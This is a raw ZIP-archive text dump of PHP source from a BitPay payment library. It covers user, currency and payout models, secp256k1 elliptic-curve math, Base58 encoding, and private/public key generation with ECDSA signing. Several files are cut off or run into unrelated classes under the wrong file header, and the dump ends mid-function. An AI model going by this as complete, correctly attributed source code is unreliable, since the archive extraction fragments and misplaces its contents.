function * * @param string paramstr - string that will encrypted * @return void * @access public */ function crypt(&$paramstr) { //Init key for every call, Bugfix 22316 $this->key($this->_key); $len= strlen($paramstr); for ($c= 0; $c < $len; $c++) { $this->i = ($this->i + 1) % 256; $this->j = ($this->j + $this->s[$this->i]) % 256; $t = $this->s[$this->i]; $this->s[$this->i] = $this->s[$this->j]; $this->s[$this->j] = $t; $t = ($this->s[$this->i] + $this->s[$this->j]) % 256; $paramstr[$c] = chr(ord($paramstr[$c]) ^ $this->s[$t]); } } /** * Decrypt function * * @param string paramstr - string that will decrypted * @return void * @access public */ function decrypt(&$paramstr) { //Decrypt is exactly the same as encrypting the string. Reuse (en)crypt code $this->crypt($paramstr); } } //end of RC4 classPK\$@33'payment/bitpay/Bitpay/BillInterface.phpnu[phone; } /** * @param string $phone * * @return UserInterface */ public function setPhone($phone) { if (!empty($phone) && is_string($phone) && ctype_print($phone)) { $this->phone = trim($phone); } return $this; } /** * @inheritdoc */ public function getEmail() { return $this->email; } /** * @param string $email * * @return UserInterface */ public function setEmail($email) { if (!empty($email) && is_string($email) && ctype_print($email)) { $this->email = trim($email); } return $this; } /** * @inheritdoc */ public function getFirstName() { return $this->firstName; } /** * @param string $firstName * * @return UserInterface */ public function setFirstName($firstName) { if (!empty($firstName) && is_string($firstName) && ctype_print($firstName)) { $this->firstName = trim($firstName); } return $this; } /** * @inheritdoc */ public function getLastName() { return $this->lastName; } /** * @param string $lastName * * @return UserInterface */ public function setLastName($lastName) { if (!empty($lastName) && is_string($lastName) && ctype_print($lastName)) { $this->lastName = trim($lastName); } return $this; } /** * @inheritdoc */ public function getAddress() { return $this->address; } /** * @param array $address * * @return UserInterface */ public function setAddress(array $address) { if (!empty($address) && is_array($address)) { $this->address = $address; } return $this; } /** * @inheritdoc */ public function getCity() { return $this->city; } /** * @param string $city * * @return UserInterface */ public function setCity($city) { if (!empty($city) && is_string($city) && ctype_print($city)) { $this->city = trim($city); } return $this; } /** * @inheritdoc */ public function getState() { return $this->state; } /** * @param string $state * * @return UserInterface */ public function setState($state) { if (!empty($state) && is_string($state) && ctype_print($state)) { $this->state = trim($state); } return $this; } /** * @inheritdoc */ public function getZip() { return $this->zip; } /** * @param string $zip * * @return UserInterface */ public function setZip($zip) { if (!empty($zip) && is_string($zip) && ctype_print($zip)) { $this->zip = trim($zip); } return $this; } /** * @inheritdoc */ public function getCountry() { return $this->country; } /** * @param string $country * * @return UserInterface */ public function setCountry($country) { if (!empty($country) && is_string($country) && ctype_print($country)) { $this->country = trim($country); } return $this; } /** * @param bool $boolvalue * * @return User */ public function setAgreedToTOSandPP($boolvalue) { if (!empty($boolvalue)) { $this->agreedToTOSandPP = $boolvalue; } return $this; } /** * @return bool */ public function getAgreedToTOSandPP() { return $this->agreedToTOSandPP; } } PK\#I==%payment/bitpay/Bitpay/Application.phpnu[users = array(); $this->orgs = array(); } /** * @inheritdoc */ public function getUsers() { return $this->users; } /** * @inheritdoc */ public function getOrgs() { return $this->orgs; } /** * Add user to stack * * @param UserInterface $user * * @return ApplicationInterface */ public function addUser(UserInterface $user) { if (!empty($user)) { $this->users[] = $user; } return $this; } /** * Add org to stack * * @param OrgInterface $org * * @return ApplicationInterface */ public function addOrg(OrgInterface $org) { if (!empty($org)) { $this->orgs[] = $org; } return $this; } } PK\5m44"payment/bitpay/Bitpay/Currency.phpnu[setCode($code); } $this->payoutEnabled = false; $this->payoutFields = array(); } /** * @inheritdoc */ public function getCode() { return $this->code; } /** * This will change the $code to all uppercase * * @param string $code The Currency Code to use, ie USD * @throws Exception Throws an exception if the Currency Code is not supported * @return CurrencyInterface */ public function setCode($code) { if (null !== $code && !in_array(strtoupper($code), self::$availableCurrencies)) { throw new \Bitpay\Client\ArgumentException( sprintf('The currency code "%s" is not supported.', $code) ); } $this->code = strtoupper($code); return $this; } /** * @inheritdoc */ public function getSymbol() { return $this->symbol; } /** * @param string $symbol * * @return CurrencyInterface */ public function setSymbol($symbol) { if (!empty($symbol) && ctype_print($symbol)) { $this->symbol = trim($symbol); } return $this; } /** * @inheritdoc */ public function getPrecision() { return $this->precision; } /** * @param integer $precision * * @return CurrencyInterface */ public function setPrecision($precision) { if (!empty($precision) && ctype_digit(strval($precision))) { $this->precision = (int) $precision; } return $this; } /** * @inheritdoc */ public function getExchangePctFee() { return $this->exchangePercentageFee; } /** * @param string $fee * * @return CurrencyInterface */ public function setExchangePctFee($fee) { if (!empty($fee) && ctype_print($fee)) { $this->exchangePercentageFee = trim($fee); } return $this; } /** * @inheritdoc */ public function isPayoutEnabled() { return $this->payoutEnabled; } /** * @param boolean $enabled * * @return CurrencyInterface */ public function setPayoutEnabled($enabled) { $this->payoutEnabled = (boolean) $enabled; return $this; } /** * @inheritdoc */ public function getName() { return $this->name; } /** * @param string $name * * @return CurrencyInterface */ public function setName($name) { if (!empty($name) && ctype_print($name)) { $this->name = trim($name); } return $this; } /** * @inheritdoc */ public function getPluralName() { return $this->pluralName; } /** * @param string $pluralName * * @return CurrencyInterface */ public function setPluralName($pluralName) { if (!empty($pluralName) && ctype_print($pluralName)) { $this->pluralName = trim($pluralName); } return $this; } /** * @inheritdoc */ public function getAlts() { return $this->alts; } /** * @param array $alts * * @return CurrencyInterface */ public function setAlts($alts) { $this->alts = $alts; return $this; } /** * @inheritdoc */ public function getPayoutFields() { return $this->payoutFields; } /** * @param array $payoutFields * * @return CurrencyInterface */ public function setPayoutFields(array $payoutFields) { $this->payoutFields = $payoutFields; return $this; } } PK\ AC4payment/bitpay/Bitpay/PayoutInstructionInterface.phpnu[ 0) { $q = Math::div($dec, 16); $rem = Math::mod($dec, 16); $dec = $q; $hex = substr(self::HEX_CHARS, intval($rem), 1).$hex; } return $hex; } /** * Decodes a hexadecimal value into decimal. * * @param string $hex * @return string */ public static function decodeHex($hex) { if (!is_string($hex) || !ctype_xdigit($hex) && '0x' != substr($hex, 0, 2)) { throw new \Exception('Argument must be a string of hex digits.'); } $hex = strtolower($hex); // if it has a prefix of 0x this needs to be trimed if (substr($hex, 0, 2) == '0x') { $hex = substr($hex, 2); } $hexLen = strlen($hex); for ($dec = '0', $i = 0; $i < $hexLen; $i++) { $current = strpos(self::HEX_CHARS, $hex[$i]); $dec = Math::add(Math::mul($dec, 16), $current); } return $dec; } public static function doubleAndAdd($hex, PointInterface $point, CurveParameterInterface $parameters = null) { if (null === $parameters) { $parameters = new Secp256k1(); } $tmp = self::decToBin($hex); $n = strlen($tmp) - 1; $S = new Point(PointInterface::INFINITY, PointInterface::INFINITY); while ($n >= 0) { $S = self::pointDouble($S); if ($tmp[$n] == 1) { $S = self::pointAdd($S, $point); } $n--; } return new Point($S->getX(), $S->getY()); } /** * This method returns a binary string representation of * the decimal number. Used for the doubleAndAdd() method. * * @see http://php.net/manual/en/function.decbin.php but for large numbers * * @param string * @return string */ public static function decToBin($dec) { if (substr(strtolower($dec), 0, 2) == '0x') { $dec = self::decodeHex(substr($dec, 2)); } $bin = ''; while (Math::cmp($dec, '0') > 0) { if (Math::mod($dec, 2) == '1') { $bin .= '1'; } else { $bin .= '0'; } $dec = Math::div($dec, 2); } return $bin; } /** * Point multiplication method 2P = R where * s = (3xP2 + a)/(2yP) mod p * xR = s2 - 2xP mod p * yR = -yP + s(xP - xR) mod p * * @param PointInterface $point * @param CurveParameterInterface * @return PointInterface */ public static function pointDouble(PointInterface $point, CurveParameterInterface $parameters = null) { if ($point->isInfinity()) { return $point; } if (null === $parameters) { $parameters = new Secp256k1(); } $p = $parameters->pHex(); $a = $parameters->aHex(); $s = 0; $R = array( 'x' => 0, 'y' => 0, ); // Critical math section try { $m = Math::add(Math::mul(3, Math::mul($point->getX(), $point->getX())), $a); $o = Math::mul(2, $point->getY()); $n = Math::invertm($o, $p); $n2 = Math::mod($o, $p); $st = Math::mul($m, $n); $st2 = Math::mul($m, $n2); $s = Math::mod($st, $p); $s2 = Math::mod($st2, $p); $xmul = Math::mul(2, $point->getX()); $smul = Math::mul($s, $s); $xsub = Math::sub($smul, $xmul); $xmod = Math::mod($xsub, $p); $R['x'] = $xmod; $ysub = Math::sub($point->getX(), $R['x']); $ymul = Math::mul($s, $ysub); $ysub2 = Math::sub(0, $point->getY()); $yadd = Math::add($ysub2, $ymul); $R['y'] = Math::mod($yadd, $p); } catch (\Exception $e) { throw new \Exception('Error in Util::pointDouble(): '.$e->getMessage()); } return new Point($R['x'], $R['y']); } /** * Point addition method P + Q = R where: * s = (yP - yQ)/(xP - xQ) mod p * xR = s2 - xP - xQ mod p * yR = -yP + s(xP - xR) mod p * * @param PointInterface * @param PointInterface * * @return PointInterface */ public static function pointAdd(PointInterface $P, PointInterface $Q) { if ($P->isInfinity()) { return $Q; } if ($Q->isInfinity()) { return $P; } if ($P->getX() == $Q->getX() && $P->getY() == $Q->getY()) { return self::pointDouble(new Point($P->getX(), $P->getY())); } $p = '0x'.Secp256k1::P; $a = '0x'.Secp256k1::A; $s = 0; $R = array( 'x' => 0, 'y' => 0, 's' => 0, ); // Critical math section try { $m = Math::sub($P->getY(), $Q->getY()); $n = Math::sub($P->getX(), $Q->getX()); $o = Math::invertm($n, $p); $st = Math::mul($m, $o); $s = Math::mod($st, $p); $R['x'] = Math::mod( Math::sub( Math::sub( Math::mul($s, $s), $P->getX() ), $Q->getX() ), $p ); $R['y'] = Math::mod( Math::add( Math::sub( 0, $P->getY() ), Math::mul( $s, Math::sub( $P->getX(), $R['x'] ) ) ), $p ); $R['s'] = $s; } catch (Exception $e) { throw new \Exception('Error in Util::pointAdd(): '.$e->getMessage()); } return new Point($R['x'], $R['y']); } /** * Converts hex value into octet (byte) string * * @param string * * @return string */ public static function binConv($hex) { $rem = ''; $dv = ''; $byte = ''; $digits = array(); for ($x = 0; $x < 256; $x++) { $digits[$x] = chr($x); } if (substr(strtolower($hex), 0, 2) != '0x') { $hex = '0x'.strtolower($hex); } while (Math::cmp($hex, 0) > 0) { $dv = Math::div($hex, 256); $rem = Math::mod($hex, 256); $hex = $dv; $byte = $byte.$digits[$rem]; } return strrev($byte); } /** * Checks dependencies for the library * * @return array list of each requirement, boolean true if met, string error message if not as value */ public static function checkRequirements() { $requirements = array(); // PHP Version if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50400) { $requirements['PHP'] = 'Your PHP version, ' . PHP_VERSION . ', is too low. PHP version >= 5.4 is required.'; } else { $requirements['PHP'] = true; } // Mcrypt Extension if (!extension_loaded('mcrypt')) { $requirements['Mcrypt'] = 'The Mcrypt PHP extension could not be found.'; } else { $requirements['Mcrypt'] = true; } // OpenSSL Extension if (!extension_loaded('openssl')) { $requirements['OpenSSL'] = 'The OpenSSL PHP extension could not be found.'; } else { $requirements['OpenSSL'] = true; } // JSON Extension if (!extension_loaded('json')) { $requirements['JSON'] = 'The JSON PHP extension could not be found.'; } else { $requirements['JSON'] = true; } // cURL Extension if (!extension_loaded('curl')) { $requirements['cURL'] = 'The cURL PHP extension could not be found.'; } else { $requirements['cURL'] = true; $curl_version = curl_version(); $ssl_supported = ($curl_version['features'] & CURL_VERSION_SSL); if (!$ssl_supported) { $requirements['cURL.SSL'] = 'The cURL PHP extension does not have SSL support.'; } else { $requirements['cURL.SSL'] = true; } } // Math if (!extension_loaded('bcmath') && !extension_loaded('gmp')) { $requirements['Math'] = 'Either the BC Math or GMP PHP extension is required. Neither could be found.'; } else { $requirements['Math'] = true; } return $requirements; } } PK\a(payment/bitpay/Bitpay/Util/Secp256k1.phpnu[ 0) { $q = Math::div($x, 58); $r = Math::mod($x, 58); $output_string .= substr($code_string, intval($r), 1); $x = $q; } for ($i = 0; $i < $dataLen && substr($data, $i, 2) == '00'; $i += 2) { $output_string .= substr($code_string, 0, 1); } $output_string = strrev($output_string); return $output_string; } /** * Decodes $data from BASE-58 format * * @param string $data * * @return string */ public static function decode($data) { $dataLen = strlen($data); for ($return = '0', $i = 0; $i < $dataLen; $i++) { $current = strpos(self::BASE58_CHARS, $data[$i]); $return = Math::mul($return, '58'); $return = Math::add($return, $current); } $return = Util::encodeHex($return); for ($i = 0; $i < $dataLen && substr($data, $i, 1) == '1'; $i++) { $return = '00'.$return; } if (strlen($return) % 2 != 0) { $return = '0'.$return; } return $return; } } PK\`mm$payment/bitpay/Bitpay/Util/Error.phpnu[= 4.3.0, PHP 5) * * @param bool * @param bool * @param int * @return array|void */ final public function backtrace($print = false, $options = false, $limit = 0) { if ($print == true) { return debug_print_backtrace($options, $limit); } else { return debug_backtrace($options, $limit); } } /** * Get the last occurred error and returns an associative * array describing the last error with keys "type", "message", * "file" and "line". If the error has been caused by a PHP * internal function then the "message" begins with its name. * Returns NULL if there hasn't been an error yet. * (PHP 5 >= 5.2.0) * * @param void * @return array */ final public function last() { return error_get_last(); } /** * Send an error message to the defined error handling * routines. Returns true on success or false on failure. * The possible values for $message_type are: 0 = system log, * 1 = email to $destination, 2 = depricated, 3 = appended * to file $destination, 4 = sent to SAPI log handler. * (PHP 4, PHP 5) * * @param string * @param int * @param string * @param string */ final public function log($message, $message_type = 0, $destination = '', $extra_headers = '') { return error_log((string) $message, $message_type = 0, $destination = '', $extra_headers = ''); } /** * Sets which PHP errors are reported or returns the old * error_reporting level or the current level if no level * parameter is given. * (PHP 4, PHP 5) * * @param bool * @return int */ final public function reporting($level = false) { if ($level !== false) { return error_reporting($level); } else { return error_reporting(); } } /** * Sets or restores either the error or exception handler * based on the $type and $action parameters. * (PHP 4 >= 4.0.1, PHP 5) * * @param string * @param string * @param mixed * @param int * return mixed */ final public function handler($type = 'error', $action = 'restore', $callable_handler = false, $error_types = null) { if (empty($error_types)) { $error_types = E_ALL | E_STRICT; } switch (strtolower($type)) { case 'error': switch (strtolower($action)) { case 'restore': return restore_error_handler(); break; case 'set': return set_error_handler($callable_handler, $error_types); break; default: return false; } break; case 'exception': switch (strtolower($action)) { case 'restore': return restore_exception_handler(); break; case 'set': return set_exception_handler($callable_handler); break; default: return false; } break; default: return false; } } /** * Generates a user-level error/warning/notice message. * This function returns FALSE if wrong $error_type is * specified, TRUE otherwise. The $error_msg param is * limited to 1024 bytes. * (PHP 4 >= 4.0.1, PHP 5) * * @param string * @param int * @return bool */ final public function raise($error_msg, $error_type = E_USER_NOTICE) { return trigger_error($error_msg, $error_type); } } PK\6payment/bitpay/Bitpay/Util/CurveParameterInterface.phpnu[ $v) { if (in_array(strtolower($k), $serverVariables)) { self::$sigData[] = $v; } } self::$sigData[] = phpversion(); self::$sigData[] = get_current_user(); self::$sigData[] = php_uname('s').php_uname('n').php_uname('m').PHP_OS.PHP_SAPI.ICONV_IMPL.ICONV_VERSION; self::$sigData[] = sha1_file(__FILE__); self::$finHash = implode(self::$sigData); self::$finHash = sha1(str_ireplace(' ', '', self::$finHash).strlen(self::$finHash).metaphone(self::$finHash)); self::$finHash = sha1(self::$finHash); return self::$finHash; } } PK\NV payment/bitpay/Bitpay/Bitpay.phpnu[container = $container; if (is_null($container)) { $this->initializeContainer($config); } } /** * Initialize the container */ protected function initializeContainer($config) { $this->container = $this->buildContainer($config); $this->container->compile(); } /** * Build the container of services and parameters */ protected function buildContainer($config) { $container = new ContainerBuilder(new ParameterBag($this->getParameters())); $this->prepareContainer($container); $this->getContainerLoader($container)->load($config); return $container; } protected function getParameters() { return array( 'bitpay.root_dir' => realpath(__DIR__.'/..'), ); } /** */ private function prepareContainer(ContainerInterface $container) { foreach ($this->getDefaultExtensions() as $ext) { $container->registerExtension($ext); $container->loadFromExtension($ext->getAlias()); } } /** * @param ContainerInterface $container * @return LoaderInterface */ private function getContainerLoader(ContainerInterface $container) { $locator = new FileLocator(); $resolver = new LoaderResolver( array( new ArrayLoader($container), new YamlFileLoader($container, $locator), ) ); return new DelegatingLoader($resolver); } /** * Returns an array of the default extensions * * @return array */ private function getDefaultExtensions() { return array( new BitpayExtension(), ); } /** * @return ContainerInterface */ public function getContainer() { return $this->container; } /** * @return mixed */ public function get($service) { return $this->container->get($service); } } PK\}?(payment/bitpay/Bitpay/BuyerInterface.phpnu[policies = array(); } /** * @return string */ public function __toString() { return (string) $this->getToken(); } /** * @return string */ public function getToken() { return $this->token; } public function setToken($token) { $this->token = $token; return $this; } /** * @return string */ public function getResource() { return $this->resource; } public function setResource($resource) { $this->resource = $resource; return $this; } /** * @return string */ public function getFacade() { return $this->facade; } public function setFacade($facade) { $this->facade = $facade; return $this; } /** * @return \DateTime */ public function getCreatedAt() { return $this->createdAt; } public function setCreatedAt(\DateTime $createdAt) { $this->createdAt = $createdAt; return $this; } /** * @return array */ public function getPolicies() { return $this->policies; } public function setPolicies($policies) { $this->policies = $policies; return $this; } /** * @return string */ public function getPairingCode() { return $this->pairingCode; } public function setPairingCode($pairingCode) { $this->pairingCode = $pairingCode; return $this; } /** * @return \DateTime */ public function getPairingExpiration() { return $this->pairingExpiration; } public function setPairingExpiration(\DateTime $pairingExpiration) { $this->pairingExpiration = $pairingExpiration; return $this; } } PK\^~1## payment/bitpay/Bitpay/Payout.phpnu[id; } /** * Set the batch ID as assigned from bitpay. * * @param $id * @return $this */ public function setId($id) { if (!empty($id) && ctype_print($id)) { $this->id = trim($id); } return $this; } /** * @inheritdoc */ public function getAccountId() { return $this->account_id; } /** * Set Account Id - Bitpays account ID for the payout. * * @param $id * @return $this */ public function setAccountId($id) { if (!empty($id) && ctype_print($id)) { $this->account_id = $id; } return $this; } /** * @inheritdoc */ public function getAmount() { return $this->amount; } /** * Sets the amount for this payout. * @param $amount * @return $this */ public function setAmount($amount) { if (!empty($amount)) { $this->amount = $amount; } return $this; } /** * @interitdoc */ public function getCurrency() { return $this->currency; } /** * Set Currency * @param CurrencyInterface $currency * @return $this */ public function setCurrency(CurrencyInterface $currency) { if (!empty($currency)) { $this->currency = $currency; } return $this; } /** * @inheritdoc */ public function getEffectiveDate() { return $this->effectiveDate; } /** * Set Effective date - date payout should be given to employees. * @param $effectiveDate * @return $this */ public function setEffectiveDate($effectiveDate) { if (!empty($effectiveDate)) { $this->effectiveDate = $effectiveDate; } return $this; } /** * Get rate assigned to payout at effectiveDate */ public function getRate() { return $this->rate; } /** * Set the rate in bitcoin for the payouts of this transaction. * @param $rate * @return $this */ public function setRate($rate) { if (!empty($rate)) { $this->rate = $rate; } return $this; } /** * @inheritdoc */ public function getBtcAmount() { return $this->btc; } /** * Set the Bitcoin amount for this payout, once set by Bitpay. * @param $amount * @return $this */ public function setBtcAmount($amount) { if (!empty($amount)) { $this->btc = $amount; } return $this; } /** * @inheritdoc */ public function getRequestDate() { return $this->requestDate; } /** * Set */ public function setRequestDate($requestDate) { if (!empty($requestDate)) { $this->requestDate = $requestDate; } return $this; } /** * @inheritdoc */ public function getInstructions() { return $this->instructions; } /** * Add Instruction of PayoutInstructionInterface type * Increases $this->amount by value. * * @param PayoutInstructionInterface $instruction * @return $this */ public function addInstruction(PayoutInstructionInterface $instruction) { if (!empty($instruction)) { $this->instructions[] = $instruction; } return $this; } /** * Update Instruction - Supply an index of the instruction to update, * plus the function and single argument, to do something to an instruction. * * @param $index * @param $function * @param $argument * @return $this */ public function updateInstruction($index, $function, $argument) { if (!empty($argument) && ctype_print($argument)) { $this->instructions[$index]->$function($argument); } return $this; } /** * @inheritdoc */ public function getStatus() { return $this->status; } /** * Sets the status for the current payout request * @param $status * @return $this */ public function setStatus($status) { if (!empty($status) && ctype_print($status)) { $this->status = trim($status); } return $this; } /** * @inheritdoc */ public function getToken() { return $this->token; } /** * Set the token to authorize this request. * @param TokenInterface $token * @return $this */ public function setToken(TokenInterface $token) { if (!empty($token)) { $this->token = $token; } return $this; } /** * @inheritdoc */ public function getResponseToken() { return $this->responseToken; } /** * Set Response Token - returned by Bitpay when payout request is created * * @param $responseToken * @return $this */ public function setResponseToken($responseToken) { if (!empty($responseToken)) { $this->responseToken = trim($responseToken); } return $this; } /** * @inheritdoc */ public function getPricingMethod() { return $this->pricingMethod; } /** * Set the pricing method for this payout request * @param $pricingMethod * @return $this */ public function setPricingMethod($pricingMethod) { if (!empty($pricingMethod) && ctype_print($pricingMethod)) { $this->pricingMethod = trim($pricingMethod); } return $this; } /** * @inheritdoc */ public function getReference() { return $this->reference; } /** * Set the payroll providers reference for this payout * * @param $reference * @return $this */ public function setReference($reference) { if (!empty($reference) && ctype_print($reference)) { $this->reference = trim($reference); } return $this; } /** * @inheritdoc */ public function getNotificationEmail() { return $this->notificationEmail; } /** * Set an email address where updates to payout status should be sent. * * @param $notificationEmail * @return $this */ public function setNotificationEmail($notificationEmail) { if (!empty($notificationEmail) && ctype_print($notificationEmail)) { $this->notificationEmail = trim($notificationEmail); } return $this; } /** * @inheritdoc */ public function getNotificationUrl() { return $this->notificationUrl; } /** * Set a notification url - where updated Payout objects will be sent * * @param $notificationUrl * @return $this */ public function setNotificationUrl($notificationUrl) { if (!empty($notificationUrl) && ctype_print($notificationUrl)) { $this->notificationUrl = trim($notificationUrl); } return $this; } } PK\-:_$payment/bitpay/Bitpay/Autoloader.phpnu[host_url = $url; $this->host_port = $port; $this->isPortRequiredInUrl = $isPortRequiredInUrl; } public function getName() { return 'Custom Network'; } public function getAddressVersion() { return 0x00; } public function getApiHost() { return $this->host_url; } public function getApiPort() { return $this->host_port; } } PK\W׵7payment/bitpay/Bitpay/Network/NetworkAwareInterface.phpnu[+ .payment/bitpay/Bitpay/Network/NetworkAware.phpnu[network = $network; } } PK\-t(($payment/bitpay/Bitpay/PrivateKey.phpnu[hex; } /** * @return PublicKey */ public function getPublicKey() { if (null === $this->publicKey) { $this->publicKey = new PublicKey(); $this->publicKey->setPrivateKey($this); $this->publicKey->generate(); } return $this->publicKey; } /** * Generates an EC private key * * @return \Bitpay\PrivateKey */ public function generate() { if (!empty($this->hex)) { return $this; } do { $privateKey = \Bitpay\Util\SecureRandom::generateRandom(32); $this->hex = strtolower(bin2hex($privateKey)); } while (Math::cmp('0x'.$this->hex, '1') <= 0 || Math::cmp('0x'.$this->hex, '0x'.Secp256k1::N) >= 0); $this->dec = Util::decodeHex($this->hex); return $this; } /** * Checks to see if the private key value is not empty and * the hex form only contains hexits and the decimal form * only contains devimal digits. * * @return boolean */ public function isValid() { return ($this->hasValidDec() && $this->hasValidHex()); } /** * @return boolean */ public function hasValidHex() { return (!empty($this->hex) || ctype_xdigit($this->hex)); } /** * @return boolean */ public function hasValidDec() { return (!empty($this->dec) || ctype_digit($this->dec)); } /** * Creates an ECDSA signature of $message * * @return string */ public function sign($data) { if (!ctype_xdigit($this->hex)) { throw new \Exception('The private key must be in hex format.'); } if (empty($data)) { throw new \Exception('You did not provide any data to sign.'); } $e = Util::decodeHex(hash('sha256', $data)); do { if (substr(strtolower($this->hex), 0, 2) != '0x') { $d = '0x'.$this->hex; } else { $d = $this->hex; } $k = SecureRandom::generateRandom(32); $k_hex = '0x'.strtolower(bin2hex($k)); $n_hex = '0x'.Secp256k1::N; $Gx = '0x'.substr(Secp256k1::G, 2, 64); $Gy = '0x'.substr(Secp256k1::G, 66, 64); $P = new Point($Gx, $Gy); // Calculate a new curve point from Q=k*G (x1,y1) $R = Util::doubleAndAdd($k_hex, $P); $Rx_hex = Util::encodeHex($R->getX()); $Rx_hex = str_pad($Rx_hex, 64, '0', STR_PAD_LEFT); // r = x1 mod n $r = Math::mod('0x'.$Rx_hex, $n_hex); // s = k^-1 * (e+d*r) mod n $edr = Math::add($e, Math::mul($d, $r)); $invk = Math::invertm($k_hex, $n_hex); $kedr = Math::mul($invk, $edr); $s = Math::mod($kedr, $n_hex); // The signature is the pair (r,s) $signature = array( 'r' => Util::encodeHex($r), 's' => Util::encodeHex($s), ); $signature['r'] = str_pad($signature['r'], 64, '0', STR_PAD_LEFT); $signature['s'] = str_pad($signature['s'], 64, '0', STR_PAD_LEFT); } while (Math::cmp($r, '0') <= 0 || Math::cmp($s, '0') <= 0); $sig = array( 'sig_rs' => $signature, 'sig_hex' => self::serializeSig($signature['r'], $signature['s']), ); return $sig['sig_hex']['seq']; } /** * ASN.1 DER encodes the signature based on the form: * 0x30 + size(all) + 0x02 + size(r) + r + 0x02 + size(s) + s * http://www.itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf * * @param string * @param string * @return string */ public static function serializeSig($r, $s) { $dec = ''; $byte = ''; $seq = ''; $digits = array(); $retval = array(); for ($x = 0; $x < 256; $x++) { $digits[$x] = chr($x); } $dec = Util::decodeHex($r); while (Math::cmp($dec, '0') > 0) { $dv = Math::div($dec, '256'); $rem = Math::mod($dec, '256'); $dec = $dv; $byte = $byte.$digits[$rem]; } $byte = strrev($byte); // msb check if (Math::cmp('0x'.bin2hex($byte[0]), '0x80') >= 0) { $byte = chr(0x00).$byte; } $retval['bin_r'] = bin2hex($byte); $seq = chr(0x02).chr(strlen($byte)).$byte; $dec = Util::decodeHex($s); $byte = ''; while (Math::cmp($dec, '0') > 0) { $dv = Math::div($dec, '256'); $rem = Math::mod($dec, '256'); $dec = $dv; $byte = $byte.$digits[$rem]; } $byte = strrev($byte); // msb check if (Math::cmp('0x'.bin2hex($byte[0]), '0x80') >= 0) { $byte = chr(0x00).$byte; } $retval['bin_s'] = bin2hex($byte); $seq = $seq.chr(0x02).chr(strlen($byte)).$byte; $seq = chr(0x30).chr(strlen($seq)).$seq; $retval['seq'] = bin2hex($seq); return $retval; } /** * Decodes PEM data to retrieve the keypair. * * @param string $pem_data The data to decode. * @return array The keypair info. */ public function pemDecode($pem_data) { $beg_ec_text = '-----BEGIN EC PRIVATE KEY-----'; $end_ec_text = '-----END EC PRIVATE KEY-----'; $decoded = ''; $ecpemstruct = array(); $pem_data = str_ireplace($beg_ec_text, '', $pem_data); $pem_data = str_ireplace($end_ec_text, '', $pem_data); $pem_data = str_ireplace("\r", '', trim($pem_data)); $pem_data = str_ireplace("\n", '', trim($pem_data)); $pem_data = str_ireplace(' ', '', trim($pem_data)); $decoded = bin2hex(base64_decode($pem_data)); if (strlen($decoded) < 230) { throw new \Exception('Invalid or corrupt secp256k1 key provided. Cannot decode the supplied PEM data.'); } $ecpemstruct = array( 'oct_sec_val' => substr($decoded, 14, 64), 'obj_id_val' => substr($decoded, 86, 10), 'bit_str_val' => substr($decoded, 106), ); if ($ecpemstruct['obj_id_val'] != '2b8104000a') { throw new \Exception('Invalid or corrupt secp256k1 key provided. Cannot decode the supplied PEM data.'); } $private_key = $ecpemstruct['oct_sec_val']; $public_key = $ecpemstruct['bit_str_val']; if (strlen($private_key) < 64 || strlen($public_key) < 128) { throw new \Exception('Invalid or corrupt secp256k1 key provided. Cannot decode the supplied PEM data.'); } $this->pemDecoded = array('private_key' => $private_key, 'public_key' => $public_key); return $this->pemDecoded; } /** * Encodes keypair data to PEM format. * * @param array $keypair The keypair info. * @return string The data to decode. */ public function pemEncode($keypair) { if (is_array($keypair) && (strlen($keypair[0]) < 64 || strlen($keypair[1]) < 128)) { throw new \Exception('Invalid or corrupt secp256k1 keypair provided. Cannot decode the supplied PEM data.'); } $dec = ''; $byte = ''; $beg_ec_text = ''; $end_ec_text = ''; $ecpemstruct = array(); $digits = array(); for ($x = 0; $x < 256; $x++) { $digits[$x] = chr($x); } $ecpemstruct = array( 'sequence_beg' => '30', 'total_len' => '74', 'int_sec_beg' => '02', 'int_sec_len' => '01', 'int_sec_val' => '01', 'oct_sec_beg' => '04', 'oct_sec_len' => '20', 'oct_sec_val' => $keypair[0], 'a0_ele_beg' => 'a0', 'a0_ele_len' => '07', 'obj_id_beg' => '06', 'obj_id_len' => '05', 'obj_id_val' => '2b8104000a', 'a1_ele_beg' => 'a1', 'a1_ele_len' => '44', 'bit_str_beg' => '03', 'bit_str_len' => '42', 'bit_str_val' => '00'.$keypair[1], ); $beg_ec_text = '-----BEGIN EC PRIVATE KEY-----'; $end_ec_text = '-----END EC PRIVATE KEY-----'; $dec = trim(implode($ecpemstruct)); if (strlen($dec) < 230) { throw new \Exception('Invalid or corrupt secp256k1 keypair provided. Cannot encode the supplied data.'); } $dec = Util::decodeHex('0x'.$dec); while (Math::cmp($dec, '0') > 0) { $dv = Math::div($dec, '256'); $rem = Math::mod($dec, '256'); $dec = $dv; $byte = $byte.$digits[$rem]; } $byte = $beg_ec_text."\r\n".chunk_split(base64_encode(strrev($byte)), 64).$end_ec_text; $this->pemEncoded = $byte; return $byte; } } PK\G`.payment/bitpay/Bitpay/ApplicationInterface.phpnu[x)) { return ''; } if (Math::mod('0x'.$this->y, '0x02') == '1') { return sprintf('03%s', $this->x); } else { return sprintf('02%s', $this->x); } } /** * @param PrivateKey */ public static function createFromPrivateKey(PrivateKey $private) { $public = new self(); $public->setPrivateKey($private); return $public; } /** * @return KeyInterface */ public function setPrivateKey(PrivateKey $privateKey) { $this->privateKey = $privateKey; return $this; } /** * Generates an uncompressed and compressed EC public key. * * @param \Bitpay\PrivateKey $privateKey * * @return Bitpay\PublicKey */ public function generate(PrivateKey $privateKey = null) { if ($privateKey instanceof PrivateKey) { $this->setPrivateKey($privateKey); } if (!empty($this->hex)) { return $this; } if (is_null($this->privateKey)) { throw new \Exception('Please `setPrivateKey` before you generate a public key'); } if (!$this->privateKey->isGenerated()) { $this->privateKey->generate(); } if (!$this->privateKey->isValid()) { throw new \Exception('Private Key is invalid and cannot be used to generate a public key'); } $point = new Point( '0x'.substr(Secp256k1::G, 2, 64), '0x'.substr(Secp256k1::G, 66, 64) ); $R = Util::doubleAndAdd( '0x'.$this->privateKey->getHex(), $point ); $RxHex = Util::encodeHex($R->getX()); $RyHex = Util::encodeHex($R->getY()); $RxHex = str_pad($RxHex, 64, '0', STR_PAD_LEFT); $RyHex = str_pad($RyHex, 64, '0', STR_PAD_LEFT); $this->x = $RxHex; $this->y = $RyHex; 